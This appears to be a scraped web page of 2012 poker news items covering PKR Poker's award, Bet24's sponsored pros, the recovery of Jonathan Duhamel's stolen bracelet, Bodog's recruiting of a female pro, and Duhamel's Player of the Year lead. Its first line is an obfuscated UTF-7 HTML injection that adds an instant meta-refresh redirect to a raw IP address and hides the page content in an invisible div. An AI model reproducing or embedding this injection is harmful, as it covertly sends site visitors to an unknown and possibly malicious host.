+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

The independent online poker room PKR Poker is no stranger to awards and accolades’, considering the site has been on the cutting edge of 3-D gambling software since bursting onto the scene in 2006 –the company was founded in 2004. This past week PKR Poker landed the coveted Best Poker Software award at the 2012 GamblingOnlineMagazine.com Readers’ Choice Award, adding to its already impressive trophy case.

This is the second-time the popular online poker room has won the award –to go along with the numerous other awards they have landed over the years including Poker Operator of the Year at the EGaming Review Awards. What makes theGamblingOnlineMagazine.com Readers’ Choice Award so special is that they are voted on by the general public, and not by industry insiders.

In a press release, PKR Marketing Director Simon Prodger stated, “We’re absolutely thrilled about this prestigious award. It means a lot for PKR to be voted by the poker playing public as the Best Poker Software and we would like to thank all Gambling Online Magazine readers for choosing us.”

PKR Poker is one of the few successful independent poker rooms in the industry, making a name for themselves with their cutting edge software and focus on their community. Among other marketing campaigns, PKR Poker has signed a number of top young European talents to represent the site including Triple Crown Winner Jake Cody, EPT Snowfest Champion Vladimir Geshkenbein, and WSOP bracelet winner Scott Shelley.

Bet24 is suddenly becoming a major player on the online poker scene: The website recently added a mobile client, and has been busy assembling a team of top poker players to represent the site, leading many to wonder if Bet24 is positioning itself to be the next “Big Thing” in the online poker world.

The first player brought on board by Bet24 was Jesper Hougaard, who was the lone Bet24 representative for quite some time, but over the past few weeks Bet24 Poker has added three more players to their team of sponsored pros, most notably PokerStars World Championship of Online Poker (WCOOP) Main Event winner Thomas “Kallllle” Pedersen. In addition to Pederson and Hougaard Bet24 has also added Casper Toft and Canadian high-stakes phenom Gillian Epp.

Epp may not be well-known to the casual poker fan, but the 27 year-old originally from Canada is a well-known face at the Las Vegas poker tables, where she is one of the top female cash-game players. So why doesn’t anyone know about a young, attractive, successful, female poker player? The reason is likely because Epp didn’t play her first poker tournament (where the TV cameras are) until 2010.

Toft is a Danish poker pro with about a dozen cashes to his credit, including two cashes at the World Sereis of Poker and two cashes in European Poker Tour (EPT) Championships. Toft’s biggest score to date was a 4^th place showing in a €2,000 NLHE side-event at the 2011 EPT Deauville, where he pocketed over $50,000.

The ongoing investigation of the robbery of 2010 World Series of Poker Main Event Champion Jonathan Duhamel that began with a home invasion a few days before Christmas has finally turned up the poker champ’s most coveted possession according to a report on a French language poker site, PokerPrince.com: his 2010 World Series of Poker gold Championship bracelet.

Unfortunately, the bracelet has seen better days, but the good news is that the bulk of it has been found, and once police finish gathering evidence from the bracelet it will be returned to Duhamel.

According to the report, a street sweeper in Montreal found the bracelet after it had clogged his street cleaning machine; he then turned the bracelet into local authorities. The pictures of the bracelet on the PokerPrince.com website show it badly damaged, including the bracelet being completely missing (only the faceplate was recovered), along with some deliberate attempts to remove Duhamel’s name.

Despite the condition, Duhamel was apparently very pleased to find out the bracelet had been recovered. His manager Philippe Jette was quoted by Canada’s TVA Nouvelles as saying, “The sentimental value [of the bracelet] is priceless. We are giving the bracelet to the police, because it is still a piece of evidence, and should help the police with the investigation. We are happy, and Jonathan is doing very well.”

The whereabouts of the bracelet was somewhat of a mystery given that all three suspects are in custody and the one-of-a-kind nature of the item. It now seems the robbers realized the bracelet was too unique to sell without being traced back to them, and decided to cut their losses and strip what precious metals they could from the bracelet.

What sounds like some type of Russian mail-order bride request is actually the latest marketing campaign by Bodog Poker to find their next sponsored pro! The Bodog model is quite simple actually, appeal to casual male poker players with anonymous poker tables and young, sexy, female poker players.

Bodog already has three of the games most recognizable, and attractive, female poker players/personalities on their roster: Amanda Leatherman, Tatjana Pasalic, and long-time Bodog poker pro Evelyn Ng.

The job offer first became known when current Bodog Poker pro Tatjana Pasalic wrote a blog post at CalvinAyre.com detailing her first year with the company, and how Bodog was now looking for a fourth member for their team:

“I remember when my agent called and said we have sealed the deal – I was jumping up and down, calling my friends and family, and more importantly, thinking how I’m gonna treat myself… Ever since, I have had nothing but fun with Bodog… So, why am I reviewing my year now? No, I am not leaving – I am inviting a girl to join me. Yes, that’s right; Bodog is looking for another girl to join our fabulous team. We need somebody who is fun, plays poker and lives outside of North America because I need some backup – Amanda and Evy have taken that part of the world!”

In an editor’s note following the post by Tatjana Pasalic, Bodog explained precisely what they are looking for in applicants:

Bodog Poker is looking for a new Poker Pro to join Tatjana on Team Bodog but they aren’t looking for just anyone. Like a good dating profile, they were pretty specific in the type of person they want to join the Bodog Poker Pro team.

Bodog is looking for an attractive female poker player who is a fresh face in the industry. Bodog is not looking to teach a playboy model how to play poker so poker experience is necessary.

One last thing, sorry this invitation is not open to Americans.

If you or someone you know wants to apply to be the newest member of team Bodog send an email to Pro@bodogbrand.com to find out all of the details.

After a monster start to his 2012 tournament campaign, former World Series of Poker Main Event champion Jonathan Duhamel has claimed the lead in two of the three Player of the Year races, the BLUFF Magazine POY Race and the PokerNews/Global Poker Index POY Race –Duhamel is currently in 5^th place on the Card Player Magazine Player of the Year Race.

On the BLUFF leader-board Duhamel has a 32 point lead over 2012 Aussie Millions winner Oliver Speidel, with John Dibella, Ruben Visser, and Faraz Jaka rounding out the Top 5 –Phil Ivey is sitting in 6^th place.

On the Global Poker Index (GPI) Duhamel has a huge lead over his nearest challenger, Jason Koon, leading Koon by nearly 200 points: 465.55 points to 284.24 points. Rounding out the Top 5 on the GPI are Ruben Visser, Sam Chartier, and Faraz Jaka.

Thus far it would seem that Duhamel is the 2012 version of Erik Seidel, who was right in the thick of the POY races despite not winning any of the usual major tournaments. Here is a look at how Duhamel has amassed his Player of the Year points thus far:

• 4^th place in the $100k Super-High-Roller tournament at the 2012 PCA — $313,600
• 5^th place in the $5k NLHE 8-Max Turbo tournament at the 2012 PCA — $17,990
• 1^st place in the $5k NLHE 8-Max tournament at the 2012 PCA — $239,830
• 2^nd place in the $25k NLHE 8-Max High-Roller tournament at the 2012 PCA — $634,550
• 8^th place in the €2k NLHE tournament at the EPT Deauville — $18,281